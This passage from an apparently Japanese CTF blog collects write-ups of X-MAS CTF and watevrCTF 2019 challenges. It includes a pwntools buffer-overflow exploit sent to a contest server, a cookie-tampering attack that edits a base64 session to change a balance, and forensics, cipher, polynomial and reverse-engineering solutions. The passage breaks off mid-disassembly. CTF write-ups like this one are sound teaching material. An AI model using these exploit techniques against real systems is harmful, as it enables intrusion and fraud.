undefined8 FUN_00401167(void)

{
  int iVar1;
  char local_12 [10];
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Helloooooo, do you like to build snowmen?");
  read(0,local_12,100);
  iVar1 = strcmp(local_12,"yes");
  if (iVar1 == 0) {
    puts("Me too! Let\'s build one!");
  }
  else {
    puts("Mhmmm... Boring...");
  }
  return 0;
}

void FUN_00401156(void)

{
  puts("X-MAS{REAL FLAG ON THE SERVER}");
  return;
}

bof脆弱性があるので、それを使ってFUN_00401156を呼び出せればよい。

$ gdb -q chall
Reading symbols from chall...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall 
Helloooooo, do you like to build snowmen?
AAAAAAAA
Mhmmm... Boring...
[Inferior 1 (process 9682) exited normally]
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall 
Helloooooo, do you like to build snowmen?
AAAAAAAAAAAA
Mhmmm... Boring...
[Inferior 1 (process 9686) exited normally]
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall 
Helloooooo, do you like to build snowmen?
AAAAAAAAAAAAAAAA
Mhmmm... Boring...
[Inferior 1 (process 9687) exited normally]
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall 
Helloooooo, do you like to build snowmen?
AAAAAAAAAAAAAAAAAAAA
Mhmmm... Boring...

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b042c0 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x7ffff7dd26a3 --> 0xdd3780000000000a 
RDI: 0x1 
RBP: 0x4141414141414141 (b'AAAAAAAA')
RSP: 0x7fffffffdca0 --> 0x1 
RIP: 0x7ffff70a4141 
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x0 
R10: 0x838 
R11: 0x246 
R12: 0x401070 (repz nop edx)
R13: 0x7fffffffdd70 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x7ffff70a4141
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x00007ffff70a4141 in ?? ()

0x401156を18バイト目から送り込めばよい。

from pwn import *

#p = process('./chall')
p = remote('challs.xmas.htsp.ro', 12006)
ret = p.recv()

payload = ''
payload += 'A' * 18
payload += p64(0x401156)

print ret + payload
p.sendline(payload)

ret = p.recv()
print ret

実行結果は以下の通り。

[+] Opening connection to challs.xmas.htsp.ro on port 12006: Done
Helloooooo, do you like to build snowmen?AAAAAAAAAAAAAAAAAAV\x11\x00\x00\x00

Mhmmm... Boring...
X-MAS{700_much_5n0000w}

[*] Closed connection to challs.xmas.htsp.ro port 12006
X-MAS{700_much_5n0000w}

Santa's Forensics 101 (Forensics)

$ file X-MAS_Flag2.png 
X-MAS_Flag2.png: Zip archive data, at least v2.0 to extract
$ mv X-MAS_Flag2.png X-MAS_Flag2.zip
$ unzip X-MAS_Flag2.zip 
Archive:  X-MAS_Flag2.zip
warning [X-MAS_Flag2.zip]:  308188 extra bytes at beginning or within zipfile
  (attempting to process anyway)
   creating: hidden_data_dt/
  inflating: hidden_data_dt/logo2.png
$ strings hidden_data_dt/logo2.png | grep X-MAS
X-MAS{W3lc0m3_t0_th3_N0rth_Pol3}
X-MAS{W3lc0m3_t0_th3_N0rth_Pol3}

Mata Nui's Cookies (Crypto)

換字式暗号。Mata Nui cipherで調べると、対応表が見つかった。
f:id:satou-y:20191229201905j:plain
対応表に従って、変換する。

X-MASMATANUIHASPREPAREDTHECOOKIES
X-MAS{MATANUIHASPREPAREDTHECOOKIES}

watevrCTF 2019 Writeup

この大会は2019/12/14 4:00(JST)~2019/12/16 4:00(JST)に開催されました。
今回もチームで参戦。結果は859点で692チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (misc)

Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。

Here a sanity flag I give to you, it might be useful in a couple hours few: watevr{san1ty_ch3ck}
watevr{san1ty_ch3ck}

Polly (misc)

xの多項式が与えられている。最後にプラスされているのが119。ASCIIコードとして文字にすると、"w"。xを0から順番に最高次数まで順番に代入して多項式を計算すればよさそう。分数を正確に計算できるようsageで実行する。

#!/usr/bin/env sage -python
def calc(x):
    return -510233931851656757*x**56/710998587804863451854045647463724949736497978881168458687447040000000000000 + 28538582555324529581*x**55/25392806707316551851930201695133033919160642102898873524551680000000000000 - 361611288555263491*x**54/421055535502492258043032818391295177534479825940370161664000000000000 + 2189223797409040145903*x**53/5129859940872030677157616504067279579628412546040176469606400000000000 - 3001755643562030554208767*x**52/19357962041026530857198552845536904074069481305811986677760000000000000 + 78238787580756843015401*x**51/1781188998990295441405829301208769237584604463177400320000000000000 - 116104436553238240592813791*x**50/11496527230247656900485565886772482623174748513067073536000000000000 + 127279887341335237997305957*x**49/65694441315700896574203233638699900703855705788954705920000000000 - 20305349569334865003353693141*x**48/64170394447571083344765063383345446352972606387257344000000000000 + 755344461848261566273335985217*x**47/16909766104427515205715118053719408160580619250696192000000000000 - 8730828190255482707329907709523*x**46/1583041933180448232024394030560965870352228185171558400000000000 + 76555149545632714960652198194597*x**45/127331633755818662141092563327729863484853136633364480000000000 - 1602375720398047527703588216319184983*x**44/27479475110939521552978869398000199787640242135105536000000000000 + 114295162137526589722365996075069211717*x**43/22572425983986035561375499862643021254133056039550976000000000000 - 13848681865733026134505571948717935637*x**42/34996009277497729552520154825803133727338071379148800000000000 + 153346974308020314565759178978111441*x**41/5485267911833499929862093232884503719018506485760000000000 - 520024520896904430645934556087134499251423*x**40/290210808642664098728215918067635743104754738266112000000000000 + 583372437848702106759949552819801879184581*x**39/5580977089282001898619536885916071982783744966656000000000000 - 46031013908208473758789005123614987736509587*x**38/8272977802935673402659548795593236115655904303513600000000000 + 7353657867840940108498978410191786786833213*x**37/27150699353263793020311260526078188024353353891840000000000 - 92499773752352276492046888338669680452103462189*x**36/7657889561176967262139073481714360724817612636160000000000000 + 4100551582505375935469899571343423946185109603489*x**35/8296047024608381200650662938523890785219080355840000000000000 - 1895954357110172205089772212408286791708615900917*x**34/102036942013899875729927939885587961529432539136000000000000 + 43118050173835025743884479345094473671998423653*x**33/67129567114407812980215749924728922058837196800000000000 - 22765966699209423168314620580071311613337850078228970157*x**32/1114243406791786642970813103550620539901403327365120000000000000 + 2164682230392596021581197470695955891436192181935306391*x**31/3617673398674631957697445141398118636043517296640000000000000 - 920699702649221064972928655611480860602416008467275417*x**30/57052913814223586429637127677963161285274107904000000000000 + 686056125302514633652788467458025065050820545750401507*x**29/1711587414426707592889113830338894838558223237120000000000 - 3138304869574821781724911760498738183508227936479448972609*x**28/342317482885341518577822766067778967711644647424000000000000 + 1270675513242488953141124524513884117237971552020405481903*x**27/6583028517025798434188899347457287840608550912000000000000 - 35251878159156858646651490873547468067999378927697697003224477*x**26/9428213442084348517445341645428327645319566616166400000000000 + 640581045258286772319400657438117285194045922802459043053203*x**25/9620625961310559711678920046355436372775067975680000000000 - 72656459972106788902891971241582058202821865848124369081172639*x**24/66716462086011457208029806848269051769244352512000000000000 + 154039473157326645352130477125406816808322554770621702623189519*x**23/9427326164327705909830298793777148619567136768000000000000 - 1082910009287427089558040173029448590098449209287440350613671*x**22/4822161720883737038276367669451226915379609600000000000 + 24188920823778246702349239533423129779289240972762319245699197*x**21/8570296513025187190754817085251953290515578880000000000 - 2312064026649698678901994207690698059469649821996032406197587664228741*x**20/71419066189405618046396886086957233654685736370176000000000000 + 862370556128011088565191676373092759230061876592574879284609935706793*x**19/2550680935335914930228460217391329773381633441792000000000000 - 32072107483702086982352528206453150709858865925578274033380368180437*x**18/10002670334650646785209647911338548130908366438400000000000 + 1529698138827681013559573339316154298621053459717691815776842419379*x**17/55570390748059148806720266174103045171713146880000000000 - 222611348623707141383036923098732823232255364898093370342989110678452081*x**16/1044260259473944837992951668521686390518442885120000000000000 + 19351471406694225111369749822067705924291211128650839886054241035573*x**15/13048686203253171864759230125976987935703040000000000000 - 788448884149338619773551061237815179858025448137798058040565357883017969*x**14/85480045326791055697402842485438742223090876416000000000000 + 1073836757430890424151052096696872926581023064319957457780403520628397*x**13/21054198356352476772759320809221365079579033600000000000 - 13037261936583491232564987358021148191312145269662640728042654537466177*x**12/52337322240932848864901859644270462537564160000000000000 + 193553176960028089077524490434690010049391798907017144709511622501501*x**11/181523857324358216783809467780676473323520000000000000 - 68187858129806282947338026458215966993811977794098721136854363544114709*x**10/17205436276727086314158740721145118396514304000000000000 + 8945934592679151193925448392874011400632217576523903097012117504044751*x**9/707334602487669104026526007424854867412254720000000000 - 1869710221567968463761175994053678221652715546983576126590166640405599343*x**8/54712331502421205196451786674312523994337902592000000000 + 150097834583670559919903774847355537654811358204762610127392287652832711*x**7/1954011839372185899873278095511161571226353664000000000 - 887795495236087230655513134787312551397755543548982957604351894153*x**6/6324332742830674887191952972548659841433600000000 + 325850556958534026053020666873255701298636569528110069255986051*x**5/1611756757211697568252622935684799553945600000 - 1383255113415521659958099444243664043564187251342510179583421*x**4/6303358038091792437823864786842855398400000 + 1288933044552801369576288324542563196552750611910520778643*x**3/7696407860917939484522423427158553600000 - 58143815812249254268696937296354052881595701176023*x**2/732857216672564586715802770080000 + 76949958412245985708257714245417562997*x/4439171857433454741600 + 119

flag = ''
for i in range(57):
    code = calc(i)
    flag += chr(code)

print flag
watevr{polly_polynomials_youtube.com/watch?v=THNWVVn9JO0}

Cookie Store (web)

手持ちは$50。$100のFlag Cookieは買えない。$1のChocolate Chip Cookieを買ってみる。
cookieのsessionには以下が設定されている。

eyJtb25leSI6IDQ5LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIl19
$ echo eyJtb25leSI6IDQ5LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIl19 | base64 -d
{"money": 49, "history": ["Yummy chocolate chip cookie"]}

moneyを100にして、Base64エンコードする。

$ echo -n '{"money": 100, "history": ["Yummy chocolate chip cookie"]}' | base64
eyJtb25leSI6IDEwMCwgImhpc3RvcnkiOiBbIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJd
fQ==

以下をcookieのsessionに設定してみる。

eyJtb25leSI6IDEwMCwgImhpc3RvcnkiOiBbIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==

手持ちは$100になった。Flag Cookieを買ってみる。
cookieのsessionには以下が設定される。

eyJtb25leSI6IDAsICJoaXN0b3J5IjogWyJZdW1teSBjaG9jb2xhdGUgY2hpcCBjb29raWUiLCAid2F0ZXZye2I2NF8xNV80XzZyMzQ3XzNuY3J5cDcxMG5fbTM3aDBkfVxuIl19
$ echo eyJtb25leSI6IDAsICJoaXN0b3J5IjogWyJZdW1teSBjaG9jb2xhdGUgY2hpcCBjb29raWUiLCAid2F0ZXZye2I2NF8xNV80XzZyMzQ3XzNuY3J5cDcxMG5fbTM3aDBkfVxuIl19 | base64 -d
{"money": 0, "history": ["Yummy chocolate chip cookie", "watevr{b64_15_4_6r347_3ncryp710n_m37h0d}\n"]}
watevr{b64_15_4_6r347_3ncryp710n_m37h0d}

Timeout (reverse)

$ gdb -q timeout
Reading symbols from timeout...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000400508  _init
0x0000000000400530  puts@plt
0x0000000000400540  clock@plt
0x0000000000400550  __stack_chk_fail@plt
0x0000000000400560  alarm@plt
0x0000000000400570  signal@plt
0x0000000000400580  exit@plt
0x0000000000400590  _start
0x00000000004005c0  _dl_relocate_static_pie
0x00000000004005d0  deregister_tm_clones
0x0000000000400600  register_tm_clones
0x0000000000400640  __do_global_dtors_aux
0x0000000000400670  frame_dummy
0x0000000000400677  delay
0x00000000004006a6  generate
0x0000000000400ad7  sig
0x0000000000400aec  main
0x0000000000400b30  __libc_csu_init
0x0000000000400ba0  __libc_csu_fini
0x0000000000400ba4  _fini
gdb-peda$ disas generate
Dump of assembler code for function generate:
   0x00000000004006a6 <+0>:	push   rbp
   0x00000000004006a7 <+1>:	mov    rbp,rsp
   0x00000000004006aa <+4>:	sub    rsp,0xb0
   0x00000000004006b1 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004006ba <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006be <+24>:	xor    eax,eax
   0x00000000004006c0 <+26>:	mov    eax,DWORD PTR [rip+0x200996]        # 0x60105c <can_continue>
   0x00000000004006c6 <+32>:	cmp    eax,0x539
   0x00000000004006cb <+37>:	jne    0x400ac0 <generate+1050>
   0x00000000004006d1 <+43>:	mov    BYTE PTR [rbp-0x70],0x23
   0x00000000004006d5 <+47>:	mov    BYTE PTR [rbp-0x6f],0x3c
   0x00000000004006d9 <+51>:	mov    BYTE PTR [rbp-0x6e],0x49
   0x00000000004006dd <+55>:	mov    BYTE PTR [rbp-0x6d],0x64
   0x00000000004006e1 <+59>:	mov    BYTE PTR [rbp-0x6c],0x55
   0x00000000004006e5 <+63>:	mov    BYTE PTR [rbp-0x6b],0x2e
   0x00000000004006e9 <+67>:	mov    BYTE PTR [rbp-0x6a],0x77
   0x00000000004006ed <+71>:	mov    BYTE PTR [rbp-0x69],0x20
   0x00000000004006f1 <+75>:	mov    BYTE PTR [rbp-0x68],0x2d
   0x00000000004006f5 <+79>:	mov    BYTE PTR [rbp-0x67],0x73
   0x00000000004006f9 <+83>:	mov    BYTE PTR [rbp-0x66],0x3f
   0x00000000004006fd <+87>:	mov    BYTE PTR [rbp-0x65],0x7d
   0x0000000000400701 <+91>:	mov    BYTE PTR [rbp-0x64],0x2c
   0x0000000000400705 <+95>:	mov    BYTE PTR [rbp-0x63],0x38
   0x0000000000400709 <+99>:	mov    BYTE PTR [rbp-0x62],0x6c
   0x000000000040070d <+103>:	mov    BYTE PTR [rbp-0x61],0x53
   0x0000000000400711 <+107>:	mov    BYTE PTR [rbp-0x60],0x54
   0x0000000000400715 <+111>:	mov    BYTE PTR [rbp-0x5f],0x2a
   0x0000000000400719 <+115>:	mov    BYTE PTR [rbp-0x5e],0x5a
   0x000000000040071d <+119>:	mov    BYTE PTR [rbp-0x5d],0x6a
   0x0000000000400721 <+123>:	mov    BYTE PTR [rbp-0x5c],0x57
   0x0000000000400725 <+127>:	mov    BYTE PTR [rbp-0x5b],0x3a
   0x0000000000400729 <+131>:	mov    BYTE PTR [rbp-0x5a],0x66
   0x000000000040072d <+135>:	mov    BYTE PTR [rbp-0x59],0x5e
   0x0000000000400731 <+139>:	mov    BYTE PTR [rbp-0x58],0x4d
   0x0000000000400735 <+143>:	mov    BYTE PTR [rbp-0x57],0x36
   0x0000000000400739 <+147>:	mov    BYTE PTR [rbp-0x56],0x65
   0x000000000040073d <+151>:	mov    BYTE PTR [rbp-0x55],0x6e
   0x0000000000400741 <+155>:	mov    BYTE PTR [rbp-0x54],0x70
   0x0000000000400745 <+159>:	mov    BYTE PTR [rbp-0x53],0x68
   0x0000000000400749 <+163>:	mov    BYTE PTR [rbp-0x52],0x63
   0x000000000040074d <+167>:	mov    BYTE PTR [rbp-0x51],0x2f
   0x0000000000400751 <+171>:	mov    BYTE PTR [rbp-0x50],0x4f
   0x0000000000400755 <+175>:	mov    BYTE PTR [rbp-0x4f],0x76
   0x0000000000400759 <+179>:	mov    BYTE PTR [rbp-0x4e],0x25
   0x000000000040075d <+183>:	mov    BYTE PTR [rbp-0x4d],0x4b
   0x0000000000400761 <+187>:	mov    BYTE PTR [rbp-0x4c],0xb
   0x0000000000400765 <+191>:	mov    BYTE PTR [rbp-0x4b],0x34
   0x0000000000400769 <+195>:	mov    BYTE PTR [rbp-0x4a],0x4c
   0x000000000040076d <+199>:	mov    BYTE PTR [rbp-0x49],0x52
   0x0000000000400771 <+203>:	mov    BYTE PTR [rbp-0x48],0x67
   0x0000000000400775 <+207>:	mov    BYTE PTR [rbp-0x47],0x60
   0x0000000000400779 <+211>:	mov    BYTE PTR [rbp-0x46],0x5f
   0x000000000040077d <+215>:	mov    BYTE PTR [rbp-0x45],0x45
   0x0000000000400781 <+219>:	mov    BYTE PTR [rbp-0x44],0x7b
   0x0000000000400785 <+223>:	mov    BYTE PTR [rbp-0x43],0x72
   0x0000000000400789 <+227>:	mov    BYTE PTR [rbp-0x42],0x3b
   0x000000000040078d <+231>:	mov    BYTE PTR [rbp-0x41],0x7e
   0x0000000000400791 <+235>:	mov    BYTE PTR [rbp-0x40],0x4a
   0x0000000000400795 <+239>:	mov    BYTE PTR [rbp-0x3f],0xa
   0x0000000000400799 <+243>:	mov    BYTE PTR [rbp-0x3e],0x6b
   0x000000000040079d <+247>:	mov    BYTE PTR [rbp-0x3d],0x71
   0x00000000004007a1 <+251>:	mov    BYTE PTR [rbp-0x3c],0x43
   0x00000000004007a5 <+255>:	mov    BYTE PTR [rbp-0x3b],0x24
   0x00000000004007a9 <+259>:	mov    BYTE PTR [rbp-0x3a],0x5c
   0x00000000004007ad <+263>:	mov    BYTE PTR [rbp-0x39],0x28
   0x00000000004007b1 <+267>:	mov    BYTE PTR [rbp-0x38],0x22
   0x00000000004007b5 <+271>:	mov    BYTE PTR [rbp-0x37],0x40
   0x00000000004007b9 <+275>:	mov    BYTE PTR [rbp-0x36],0x32
   0x00000000004007bd <+279>:	mov    BYTE PTR [rbp-0x35],0x44
   0x00000000004007c1 <+283>:	mov    BYTE PTR [rbp-0x34],0x62
   0x00000000004007c5 <+287>:	mov    BYTE PTR [rbp-0x33],0x50
   0x00000000004007c9 <+291>:	mov    BYTE PTR [rbp-0x32],0xd
   0x00000000004007cd <+295>:	mov    BYTE PTR [rbp-0x31],0x26
   0x00000000004007d1 <+299>:	mov    BYTE PTR [rbp-0x30],0x31
   0x00000000004007d5 <+303>:	mov    BYTE PTR [rbp-0x2f],0x37
   0x00000000004007d9 <+307>:	mov    BYTE PTR [rbp-0x2e],0xc
   0x00000000004007dd <+311>:	mov    BYTE PTR [rbp-0x2d],0x5d
   0x00000000004007e1 <+315>:	mov    BYTE PTR [rbp-0x2c],0x79
   0x00000000004007e5 <+319>:	mov    BYTE PTR [rbp-0x2b],0x3e
   0x00000000004007e9 <+323>:	mov    BYTE PTR [rbp-0x2a],0x3d
   0x00000000004007ed <+327>:	mov    BYTE PTR [rbp-0x29],0x78
   0x00000000004007f1 <+331>:	mov    BYTE PTR [rbp-0x28],0x61
   0x00000000004007f5 <+335>:	mov    BYTE PTR [rbp-0x27],0x56
   0x00000000004007f9 <+339>:	mov    BYTE PTR [rbp-0x26],0x59
   0x00000000004007fd <+343>:	mov    BYTE PTR [rbp-0x25],0x41
   0x0000000000400801 <+347>:	mov    BYTE PTR [rbp-0x24],0x5b
   0x0000000000400805 <+351>:	mov    BYTE PTR [rbp-0x23],0x42
   0x0000000000400809 <+355>:	mov    BYTE PTR [rbp-0x22],0x46
   0x000000000040080d <+359>:	mov    BYTE PTR [rbp-0x21],0x33
   0x0000000000400811 <+363>:	lea    rax,[rip+0x39c]        # 0x400bb4
   0x0000000000400818 <+370>:	mov    BYTE PTR [rbp-0x20],al
   0x000000000040081b <+373>:	mov    BYTE PTR [rbp-0x1f],0x21
   0x000000000040081f <+377>:	mov    BYTE PTR [rbp-0x1e],0x74
   0x0000000000400823 <+381>:	mov    BYTE PTR [rbp-0x1d],0x51
   0x0000000000400827 <+385>:	mov    BYTE PTR [rbp-0x1c],0x48
   0x000000000040082b <+389>:	mov    BYTE PTR [rbp-0x1b],0x75
   0x000000000040082f <+393>:	mov    BYTE PTR [rbp-0x1a],0x30
   0x0000000000400833 <+397>:	mov    BYTE PTR [rbp-0x19],0x58
   0x0000000000400837 <+401>:	mov    BYTE PTR [rbp-0x18],0x69
   0x000000000040083b <+405>:	mov    BYTE PTR [rbp-0x17],0x35
   0x000000000040083f <+409>:	mov    BYTE PTR [rbp-0x16],0x7c
   0x0000000000400843 <+413>:	mov    BYTE PTR [rbp-0x15],0x9
   0x0000000000400847 <+417>:	mov    BYTE PTR [rbp-0x14],0x39
   0x000000000040084b <+421>:	mov    BYTE PTR [rbp-0x13],0x4e
   0x000000000040084f <+425>:	mov    BYTE PTR [rbp-0x12],0x2b
   0x0000000000400853 <+429>:	mov    BYTE PTR [rbp-0x11],0x7a
   0x0000000000400857 <+433>:	mov    BYTE PTR [rbp-0x10],0x6d
   0x000000000040085b <+437>:	mov    BYTE PTR [rbp-0xf],0x47
   0x000000000040085f <+441>:	mov    BYTE PTR [rbp-0xe],0x29
   0x0000000000400863 <+445>:	mov    BYTE PTR [rbp-0xd],0x6f
   0x0000000000400867 <+449>:	mov    BYTE PTR [rbp-0xc],0x0
   0x000000000040086b <+453>:	movzx  eax,BYTE PTR [rbp-0x6a]
   0x000000000040086f <+457>:	mov    BYTE PTR [rbp-0xb0],al
   0x0000000000400875 <+463>:	movzx  eax,BYTE PTR [rbp-0x28]
   0x0000000000400879 <+467>:	mov    BYTE PTR [rbp-0xaf],al
   0x000000000040087f <+473>:	movzx  eax,BYTE PTR [rbp-0x1e]
   0x0000000000400883 <+477>:	mov    BYTE PTR [rbp-0xae],al
   0x0000000000400889 <+483>:	movzx  eax,BYTE PTR [rbp-0x56]
   0x000000000040088d <+487>:	mov    BYTE PTR [rbp-0xad],al
   0x0000000000400893 <+493>:	movzx  eax,BYTE PTR [rbp-0x4f]
   0x0000000000400897 <+497>:	mov    BYTE PTR [rbp-0xac],al
   0x000000000040089d <+503>:	movzx  eax,BYTE PTR [rbp-0x43]
   0x00000000004008a1 <+507>:	mov    BYTE PTR [rbp-0xab],al
   0x00000000004008a7 <+513>:	movzx  eax,BYTE PTR [rbp-0x44]
   0x00000000004008ab <+517>:	mov    BYTE PTR [rbp-0xaa],al
   0x00000000004008b1 <+523>:	movzx  eax,BYTE PTR [rbp-0x21]
   0x00000000004008b5 <+527>:	mov    BYTE PTR [rbp-0xa9],al
   0x00000000004008bb <+533>:	movzx  eax,BYTE PTR [rbp-0x55]
   0x00000000004008bf <+537>:	mov    BYTE PTR [rbp-0xa8],al
   0x00000000004008c5 <+543>:	movzx  eax,BYTE PTR [rbp-0x52]
   0x00000000004008c9 <+547>:	mov    BYTE PTR [rbp-0xa7],al
   0x00000000004008cf <+553>:	movzx  eax,BYTE PTR [rbp-0x43]
   0x00000000004008d3 <+557>:	mov    BYTE PTR [rbp-0xa6],al
   0x00000000004008d9 <+563>:	movzx  eax,BYTE PTR [rbp-0x2c]
   0x00000000004008dd <+567>:	mov    BYTE PTR [rbp-0xa5],al
   0x00000000004008e3 <+573>:	movzx  eax,BYTE PTR [rbp-0x1e]
   0x00000000004008e7 <+577>:	mov    BYTE PTR [rbp-0xa4],al
   0x00000000004008ed <+583>:	movzx  eax,BYTE PTR [rbp-0x18]
   0x00000000004008f1 <+587>:	mov    BYTE PTR [rbp-0xa3],al
   0x00000000004008f7 <+593>:	movzx  eax,BYTE PTR [rbp-0xd]
   0x00000000004008fb <+597>:	mov    BYTE PTR [rbp-0xa2],al
   0x0000000000400901 <+603>:	movzx  eax,BYTE PTR [rbp-0x55]
   0x0000000000400905 <+607>:	mov    BYTE PTR [rbp-0xa1],al
   0x000000000040090b <+613>:	movzx  eax,BYTE PTR [rbp-0x46]
   0x000000000040090f <+617>:	mov    BYTE PTR [rbp-0xa0],al
   0x0000000000400915 <+623>:	movzx  eax,BYTE PTR [rbp-0x18]
   0x0000000000400919 <+627>:	mov    BYTE PTR [rbp-0x9f],al
   0x000000000040091f <+633>:	movzx  eax,BYTE PTR [rbp-0x67]
   0x0000000000400923 <+637>:	mov    BYTE PTR [rbp-0x9e],al
   0x0000000000400929 <+643>:	movzx  eax,BYTE PTR [rbp-0x46]
   0x000000000040092d <+647>:	mov    BYTE PTR [rbp-0x9d],al
   0x0000000000400933 <+653>:	movzx  eax,BYTE PTR [rbp-0xd]
   0x0000000000400937 <+657>:	mov    BYTE PTR [rbp-0x9c],al
   0x000000000040093d <+663>:	movzx  eax,BYTE PTR [rbp-0x4f]
   0x0000000000400941 <+667>:	mov    BYTE PTR [rbp-0x9b],al
   0x0000000000400947 <+673>:	movzx  eax,BYTE PTR [rbp-0x56]
   0x000000000040094b <+677>:	mov    BYTE PTR [rbp-0x9a],al
   0x0000000000400951 <+683>:	movzx  eax,BYTE PTR [rbp-0x43]
   0x0000000000400955 <+687>:	mov    BYTE PTR [rbp-0x99],al
   0x000000000040095b <+693>:	movzx  eax,BYTE PTR [rbp-0x43]
   0x000000000040095f <+697>:	mov    BYTE PTR [rbp-0x98],al
   0x0000000000400965 <+703>:	movzx  eax,BYTE PTR [rbp-0x28]
   0x0000000000400969 <+707>:	mov    BYTE PTR [rbp-0x97],al
   0x000000000040096f <+713>:	movzx  eax,BYTE PTR [rbp-0x1e]
   0x0000000000400973 <+717>:	mov    BYTE PTR [rbp-0x96],al
   0x0000000000400979 <+723>:	movzx  eax,BYTE PTR [rbp-0x56]
   0x000000000040097d <+727>:	mov    BYTE PTR [rbp-0x95],al
   0x0000000000400983 <+733>:	movzx  eax,BYTE PTR [rbp-0x6d]
   0x0000000000400987 <+737>:	mov    BYTE PTR [rbp-0x94],al
   0x000000000040098d <+743>:	movzx  eax,BYTE PTR [rbp-0x46]
   0x0000000000400991 <+747>:	mov    BYTE PTR [rbp-0x93],al
   0x0000000000400997 <+753>:	movzx  eax,BYTE PTR [rbp-0x2c]
   0x000000000040099b <+757>:	mov    BYTE PTR [rbp-0x92],al
   0x00000000004009a1 <+763>:	movzx  eax,BYTE PTR [rbp-0xd]
   0x00000000004009a5 <+767>:	mov    BYTE PTR [rbp-0x91],al
   0x00000000004009ab <+773>:	movzx  eax,BYTE PTR [rbp-0x1b]
   0x00000000004009af <+777>:	mov    BYTE PTR [rbp-0x90],al
   0x00000000004009b5 <+783>:	movzx  eax,BYTE PTR [rbp-0x1e]
   0x00000000004009b9 <+787>:	mov    BYTE PTR [rbp-0x8f],al
   0x00000000004009bf <+793>:	movzx  eax,BYTE PTR [rbp-0x1b]
   0x00000000004009c3 <+797>:	mov    BYTE PTR [rbp-0x8e],al
   0x00000000004009c9 <+803>:	movzx  eax,BYTE PTR [rbp-0x34]
   0x00000000004009cd <+807>:	mov    BYTE PTR [rbp-0x8d],al
   0x00000000004009d3 <+813>:	movzx  eax,BYTE PTR [rbp-0x56]
   0x00000000004009d7 <+817>:	mov    BYTE PTR [rbp-0x8c],al
   0x00000000004009dd <+823>:	movzx  eax,BYTE PTR [rbp-0x6b]
   0x00000000004009e1 <+827>:	mov    BYTE PTR [rbp-0x8b],al
   0x00000000004009e7 <+833>:	movzx  eax,BYTE PTR [rbp-0x52]
   0x00000000004009eb <+837>:	mov    BYTE PTR [rbp-0x8a],al
   0x00000000004009f1 <+843>:	movzx  eax,BYTE PTR [rbp-0xd]
   0x00000000004009f5 <+847>:	mov    BYTE PTR [rbp-0x89],al
   0x00000000004009fb <+853>:	movzx  eax,BYTE PTR [rbp-0x10]
   0x00000000004009ff <+857>:	mov    BYTE PTR [rbp-0x88],al
   0x0000000000400a05 <+863>:	movzx  eax,BYTE PTR [rbp-0x51]
   0x0000000000400a09 <+867>:	mov    BYTE PTR [rbp-0x87],al
   0x0000000000400a0f <+873>:	movzx  eax,BYTE PTR [rbp-0x6a]
   0x0000000000400a13 <+877>:	mov    BYTE PTR [rbp-0x86],al
   0x0000000000400a19 <+883>:	movzx  eax,BYTE PTR [rbp-0x28]
   0x0000000000400a1d <+887>:	mov    BYTE PTR [rbp-0x85],al
   0x0000000000400a23 <+893>:	movzx  eax,BYTE PTR [rbp-0x1e]
   0x0000000000400a27 <+897>:	mov    BYTE PTR [rbp-0x84],al
   0x0000000000400a2d <+903>:	movzx  eax,BYTE PTR [rbp-0x52]
   0x0000000000400a31 <+907>:	mov    BYTE PTR [rbp-0x83],al
   0x0000000000400a37 <+913>:	movzx  eax,BYTE PTR [rbp-0x53]
   0x0000000000400a3b <+917>:	mov    BYTE PTR [rbp-0x82],al
   0x0000000000400a41 <+923>:	movzx  eax,BYTE PTR [rbp-0x66]
   0x0000000000400a45 <+927>:	mov    BYTE PTR [rbp-0x81],al
   0x0000000000400a4b <+933>:	movzx  eax,BYTE PTR [rbp-0x4f]
   0x0000000000400a4f <+937>:	mov    BYTE PTR [rbp-0x80],al
   0x0000000000400a52 <+940>:	movzx  eax,BYTE PTR [rbp-0x2a]
   0x0000000000400a56 <+944>:	mov    BYTE PTR [rbp-0x7f],al
   0x0000000000400a59 <+947>:	movzx  eax,BYTE PTR [rbp-0x50]
   0x0000000000400a5d <+951>:	mov    BYTE PTR [rbp-0x7e],al
   0x0000000000400a60 <+954>:	movzx  eax,BYTE PTR [rbp-0x33]
   0x0000000000400a64 <+958>:	mov    BYTE PTR [rbp-0x7d],al
   0x0000000000400a67 <+961>:	movzx  eax,BYTE PTR [rbp-0x5a]
   0x0000000000400a6b <+965>:	mov    BYTE PTR [rbp-0x7c],al
   0x0000000000400a6e <+968>:	movzx  eax,BYTE PTR [rbp-0x1a]
   0x0000000000400a72 <+972>:	mov    BYTE PTR [rbp-0x7b],al
   0x0000000000400a75 <+975>:	movzx  eax,BYTE PTR [rbp-0x26]
   0x0000000000400a79 <+979>:	mov    BYTE PTR [rbp-0x7a],al
   0x0000000000400a7c <+982>:	movzx  eax,BYTE PTR [rbp-0x34]
   0x0000000000400a80 <+986>:	mov    BYTE PTR [rbp-0x79],al
   0x0000000000400a83 <+989>:	movzx  eax,BYTE PTR [rbp-0x19]
   0x0000000000400a87 <+993>:	mov    BYTE PTR [rbp-0x78],al
